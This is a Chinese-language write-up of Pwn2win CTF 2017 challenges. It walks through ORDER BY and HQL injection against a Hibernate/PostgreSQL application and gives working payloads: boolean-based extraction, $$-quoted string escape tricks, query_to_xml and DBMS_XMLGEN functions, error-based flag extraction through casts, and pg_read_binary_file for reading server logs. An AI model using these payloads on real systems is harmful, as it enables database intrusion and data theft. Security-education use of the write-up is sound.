Pwn2win CTF 2017 Writeup

  1. Black Pentesting
  2. criminal
  3. Hibernate ORM

Black Pentesting

Our agents found a BSC server which is used to contact one of the Corp’s sysadmins. We managed to get his IP (45.77.146.27), but we still haven’t found it’s domain. After obtaining the domain, we believe it’s possible to exploit their website somehow, and then obtain sensitive data. Use your old school pentesting skills and you will be rewarded!

大意是给了IP 45.77.146.27,让你找域名,题目在那里,一直找到的是 45.77.146.27.vultr.com 这个域名,应该是bloodsuckers.world才对,所以,连题目都没看到,进去后是个留言框。

criminal

很容易通过报错显示出SQL语句

SELECT c from solutions.bloodsuckers.models.Criminal c WHERE (c.name like :pName or :pNameLength = 0) and (c.age = :pAge or :pAge = 0) and (c.crime like :pCrime or :pCrimeLength = 0) order by xxx

且调用关系是应用程序拼接成HQL语句,HQL解析为postgresql后执行
order by处存在注入
一开始以为是postgresql注入
构造这样如下

name=&age=&crime=&order=case when(ascii(substr((current_database()),1,1))=99) then age end desc, case when 1=1 then age end asc&submit=

可以获得一些信息,但是发现order by不能用子查询,postgresql是允许的,但是HQL不允许,所以不能到达。
其实这应该HQL注入
何为HQL注入?

对象关系映射(英语:Object Relational Mapping,简称ORM,或O/RM,或O/R mapping),是一种程序设计技术,用于实现面向对象编程语言里不同类型系统的数据之间的转换。从效果上说,它其实是创建了一个可在编程语言里使用的“虚拟对象数据库”
方便在关系数据库和类似于 Java, C# 等面向对象的编程语言中转换数据的技术

The nature of ORM injection is similar to SQL injection.



POJO=Plain Ordinary Java Object

https://github.com/0ang3el/HQLi-playground

Hibernate ORM

  • Single Quote Escaping

对单引号转义的差异

  • 在MySQL中,单引号'转义为\'
  • 在HQL中,单引号'转义为''
    例如:
    'abc\''or 1=(select 1)--'
    对于HQL来说是字符串
    对于MySQL来说,是字符串加注入的SQL语句
  • $-Quoted Strings
    这种方法对允许[$$aaa’bbb$$]这种方式表示字符串的DBMS有效

    PostgreSQL
    H2


  • Magic Functions

    • 这种方法对能在字符串参数中执行SQL表达式的DBMS有效
      PostgreSQL
      Oracle
      PostgreSQL
      內建函数query_to_xml('Arbitrary SQL')
      array_upper(xpath('row',query_to_xml('select 1 where 1337>1',true, false,'')),1)
      返回行数是否大于0
Oracle 有內建函数DBMS_XMLGEN.getxml('SQL')
NVL(TO_CHAR(DBMS_XMLGEN.getxml('select 1 where 1337>1')),'1')!='1'
返回是否row大于0
  • UNICODE

这种方法对于允许用Unicode字符作为分隔符的DBMS有用

mssql
H2

所以这里利用了

$$      在HQL中是变量名
$$xxx$$ 在postgresql中是字符串

构造,通过报错将flag显示出来

SELECT c from solutions.bloodsuckers.models.Criminal c WHERE (c.name like :pName or :pNameLength = 0) and (c.age = :pAge or :pAge = 0) and (c.crime like :pCrime or :pCrimeLength = 0) order by case when (555=(select 0 from Criminal c where $$='$$= concat(  chr(61),chr(39)) and (cast((select flag::text from flag) as integer)=2)) then 1 else 5 end --')) then 1 else 5 end desc

还有人用

cast(cast(pg_read_binary_file('pg_xlog/000000010000000000000001')as text) as int)

看日志,这思路很强


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至3213359017@qq.com